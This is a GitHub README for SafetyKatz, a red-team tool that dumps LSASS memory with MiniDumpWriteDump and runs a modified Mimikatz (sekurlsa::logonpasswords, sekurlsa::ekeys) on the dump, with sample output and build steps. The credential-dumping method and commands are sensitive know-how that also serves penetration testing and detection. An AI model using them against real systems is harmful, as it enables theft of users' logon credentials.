

GitHub - GhostPack/SafetyKatz: SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subtee's .NET PE Loader

By HarmJ0y

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SafetyKatz is a combination of slightly modified version of [@gentilkiwi's Mimikatz](#) project and [@subtee's .NET PE Loader](#).

First, the [MiniDumpWriteDump](#) Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee's PE Loader is used to load a customized version of Mimikatz that runs **sekurlsa::logonpasswords** and **sekurlsa::ekeys** on the minidump file, removing the file after execution is complete.

Modifications

- @subtee's PE Loader was slightly modified so some of the pointer arithmetic worked better on .NET 3.5
- @gentilkiwi's Mimikatz project was modified to strip some functionality for size reasons, and to automatically run the sekurlsa::minidump mode (deleting the minidump file after). If you don't trust my compiled version, feel free to build it yourself :)

[@harmj0y](#) is the primary author of this port.

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Usage

```
C:\Temp>SafetyKatz.exe

[*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin
[+] Dump successful!

[*] Executing loaded Mimikatz PE

.#####.  mimikatz 2.1.1 (x64) built on Jul  7 2018 03:36:26 - lil!
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  / *** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'   > http://pingcastle.com / http://mysmartlogon.com   *** /
```

```
mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
```

```
Authentication Id : 0 ; 28935082 (00000000:01b983aa)
```

```
Session          : Interactive from 0
```

```
User Name        : blahuser
```

```
Domain           : WINDOWS10
```

```
Logon Server     : WINDOWS10
```

```
Logon Time       : 7/15/2018 1:07:55 PM
```

```
SID              : S-1-5-21-1473254003-2681465353-4059813368-1002
```

```
msv :
```

```
[00000003]
```

```
Primary
```

```
* Username : blahuser
```

```
* Domain   : WINDOWS10
```

```
...(snip)...
```

```
mimikatz # deleting C:\Windows\Temp\debug.bin
```

Compile Instructions

We are not planning on releasing binaries for SafetyKatz, so you will have to compile yourself :)

SafetyKatz has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](#). Simply open up the project .sln, choose "release", and build.

Source: <https://github.com/GhostPack/SafetyKatz>